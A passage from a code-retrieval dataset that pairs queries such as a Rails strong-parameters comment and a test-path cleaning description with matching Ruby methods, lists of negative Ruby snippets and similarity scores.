http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def dairy_params params.require(:dairy).permit(:user_id, :exercise_id, :when, :done) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Clean the changed paths and return only valid PHPUnit tests files.
def clean(paths) paths.uniq! paths.compact! populate_test_files paths = paths.select { |p| test_file?(p) } clear_tests_files_list paths end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clean_tests\n puts \"Removing generated tests from '#{Settings[:test_dir]}'...\"\n Dir.foreach(Settings[:test_dir]) do |dir|\n path = Pathname.new(Settings[:test_dir]) + dir\n next if dir == '.' or dir == '..' or dir == 'support' or not path.directory?\n FileUtils.rm_rf(path)\n end\nend", "def remove_old_tests\n remove_dir('test')\n remove_dir('spec')\n end", "def test_files\n files = tests\n files = files.map{ |f| Dir[f] }.flatten\n files = files.map{ |f| File.directory?(f) ? Dir[File.join(f, '**/*.rb')] : f }\n files = files.flatten.uniq\n files = files.map{ |f| File.expand_path(f) }\n files\n end", "def clean_paths\n cached_used = used_files\n glob_options = File::FNM_DOTMATCH | File::FNM_CASEFOLD\n files = Pathname.glob(root + \"**/*\", glob_options).map(&:to_s)\n\n files.reject! do |candidate|\n candidate = candidate.downcase\n candidate.end_with?('.', '..') || cached_used.any? do |path|\n path = path.downcase\n path.include?(candidate) || candidate.include?(path)\n end\n end\n files\n end", "def clean_test_dir!\n FileUtils.remove_entry_secure test_dir\n end", "def functionals_changed_tests(test_changed_files, t)\n test_changed_files = test_changed_files.split(\"\\n\") if test_changed_files.is_a?(String)\n test_files = FileList['test/functional/**/*_test.rb'].select{|file| test_changed_files.any?{|changed_file| file==changed_file }}\n test_files = test_files.uniq\n test_files = test_files.reject{ |f| Smokescreen.critical_tests.include?(f) }\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def functionals_changed(test_changed_files, t)\n changed_controllers = []\n changed_functional_tests = []\n changed_view_directories = Set.new\n test_changed_files.each do |file|\n controller_match = file.match(/app\\/controllers\\/(.*).rb/)\n if controller_match\n changed_controllers << controller_match[1]\n end\n\n view_match = file.match(/app\\/views\\/(.*)\\/.+\\.erb/)\n if view_match\n changed_view_directories << view_match[1]\n end\n\n functional_test_match = file.match(/test\\/functional\\/(.*).rb/)\n if functional_test_match\n changed_functional_tests << functional_test_match[1]\n end\n end\n\n test_files = FileList['test/functional/**/*_test.rb'].select{|file| changed_controllers.any?{|controller| file.match(/test\\/functional\\/#{controller}_test.rb/) }} +\n FileList['test/functional/**/*_test.rb'].select{|file| changed_view_directories.any?{|view_directory| file.match(/test\\/functional\\/#{view_directory}_controller_test.rb/) }} +\n FileList['test/functional/**/*_test.rb'].select{|file|\n (changed_functional_tests.any?{|functional_test| file.match(/test\\/functional\\/#{functional_test}.rb/) } ||\n test_changed_files.any?{|changed_file| file==changed_file })\n }\n\n test_files = test_files.uniq\n test_files = test_files.reject{ |f| Smokescreen.critical_tests.include?(f) }\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def clear_tests_files_list\n @tests_files = nil\n end", "def units_changed_tests(test_changed_files, t)\n test_changed_files = test_changed_files.split(\"\\n\") if test_changed_files.is_a?(String)\n test_files = FileList['test/unit/*_test.rb'].select{|file| test_changed_files.any?{|changed_file| file==changed_file }}\n test_files = test_files.uniq\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def cleanup\n remove_files(TEST_INPUT_DIR)\n remove_files(TEST_OUTPUT_DIR)\nend", "def build_tests_list\n if ! @test_list.nil?\n return @test_list\n end\n @test_list = []\n Find.find(@ruby_tests_location) do |path|\n if FileTest.directory?(path)\n if File.basename(path)[0] == \".\"\n Find.prune # ignore . .. and .svn\n else\n next\n end\n elsif File.extname(path) == \".test\"\n puts \"Processing: \" + path\n @test_list << path\n end\n end\n\n if @test_list.size == 0\n raise MissingRubyTestFiles, \"Can't find any rubySelenium tests in directory #{@ruby_tests_location}\"\n else\n return @test_list.sort!\n end\n end", "def run_uncommitted(test_pattern)\n if File.directory?(\".svn\")\n changed_since_checkin = silence_stderr { `svn status` }.split.map { |path| path.chomp[7 .. -1] }\n elsif File.directory?(\".git\")\n changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.split.map { |path| path.chomp }\n else\n puts \"Not a Subversion or Git checkout.\"\n return\n end\n\n models = changed_since_checkin.select { |path| path =~ /app[\\\\\\/]models[\\\\\\/].*\\.rb$/ }\n controllers = changed_since_checkin.select { |path| path =~ /app[\\\\\\/]controllers[\\\\\\/].*\\.rb$/ }\n\n unit_tests = models.map { |model| \"test/unit/#{File.basename(model, '.rb')}_test.rb\" }\n functional_tests = controllers.map { |controller| \"test/functional/#{File.basename(controller, '.rb')}_test.rb\" }\n files = (unit_tests + functional_tests).uniq.select { |file| File.exist?(file) }\n\n message = \"Running #{files.length} #{files.length == 1 ? \"test file\" : \"test files\"} based on uncommitted changes...\"\n run_tests(files, test_pattern, message)\n end", "def clean\n Dir.foreach(@wd) do |file|\n next if file.start_with?('.') or (file == \"config\")\n filename = File.join(@wd, file)\n FileUtils.remove_file(filename) if File.file?(filename)\n end\n end", "def spec_clean\n Dir.chdir(project_root) do\n Debug.log(\"cd to #{project_root}\")\n fixtures = File.join(profile_path, 'spec', 'fixtures', 'modules')\n modules = File.join(project_root, 'modules')\n\n abort if fixtures == '' || !fixtures\n abort if modules == '' || !modules\n\n FileUtils.rm_rf(fixtures)\n FileUtils.rm_rf(modules)\n end\n Debug.log \"cd to #{Dir.pwd}\"\n end", "def remove_all_diffs_and_tests\n UiChanged::Screenshot.remove_all_diffs_and_tests\n head :ok\n end", "def clear\n raise \"unsafe test stage directory -- #{Dir.pwd}\" unless /#{Dir.tmpdir}/ =~ Dir.pwd\n Dir['*'].each do |path|\n FileUtils.rm_r(path)\n end\n end", "def local_suite_files\n base = File.join(config[:test_base_path], config[:suite_name])\n glob = File.join(base, '**/*_spec.rb')\n Dir.glob(glob).reject do |f|\n chef_data_dir?(base, f) || File.directory?(f)\n end\n end", "def clean_app()\n wd = FileUtils.pwd()\n FileUtils.rm_f( [\n '/app/assets/*',\n '/app/components/*',\n '/app/controllers/*',\n '/app/helpers/*',\n '/app/models/*',\n '/app/views/*'\n ].collect!{|e| Dir.glob(wd + e)}.flatten.compact )\n end", "def check_results\n bin = prettier_path\n raise \"prettier is not installed\" unless bin\n return run_check(bin, \".\") unless filtering\n ((git.modified_files - git.deleted_files) + git.added_files)\n .select { |f| f[matching_file_regex] }\n .map { |f| f.gsub(\"#{Dir.pwd}/\", \"\") }\n .map { |f| run_check(bin, f) }\n end", "def units_changed(test_changed_files, t)\n changed_models = []\n test_changed_files.each do |file|\n matched = file.match(/app\\/models\\/(.*).rb/)\n if matched\n changed_models << matched[1]\n end\n end\n test_files = FileList['test/unit/*_test.rb'].select{|file| \n (changed_models.any?{|model| file.match(/test\\/unit\\/#{model}_test.rb/) } ||\n test_changed_files.any?{|changed_file| file==changed_file })\n }\n test_files = test_files.uniq\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def teardown\n FileUtils.remove_dir(File.expand_path(TEST_DIR), true)\n end", "def teardown\n FileUtils.rm_rf(\"test/resources/IncludesSinceTestRepository\")\n end", "def clean_selected_files\n @selected_files.select! { |x| x = expand_path(x); File.exist?(x) }\nend", "def cleanupTestFiles\n ('A' .. 'F').each { |del| FileUtils.rm(\"#{folder}HR3-Room#{del}.csv\", force: true) } \n end", "def test_files # :nodoc:\n # Handle the possibility that we have @test_suite_file but not\n # @test_files. This will happen when an old gem is loaded via\n # YAML.\n if defined? @test_suite_file\n @test_files = [@test_suite_file].flatten\n @test_suite_file = nil\n end\n if defined?(@test_files) and @test_files\n @test_files\n else\n @test_files = []\n end\n end", "def clean_paths\n FileUtils.rm_rf(tmp_path)\n 